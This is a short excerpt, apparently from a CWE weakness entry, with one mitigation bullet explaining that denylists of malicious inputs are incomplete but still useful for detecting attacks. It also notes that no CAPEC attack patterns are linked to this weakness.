  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

No CAPEC attack patterns related to this CWE.

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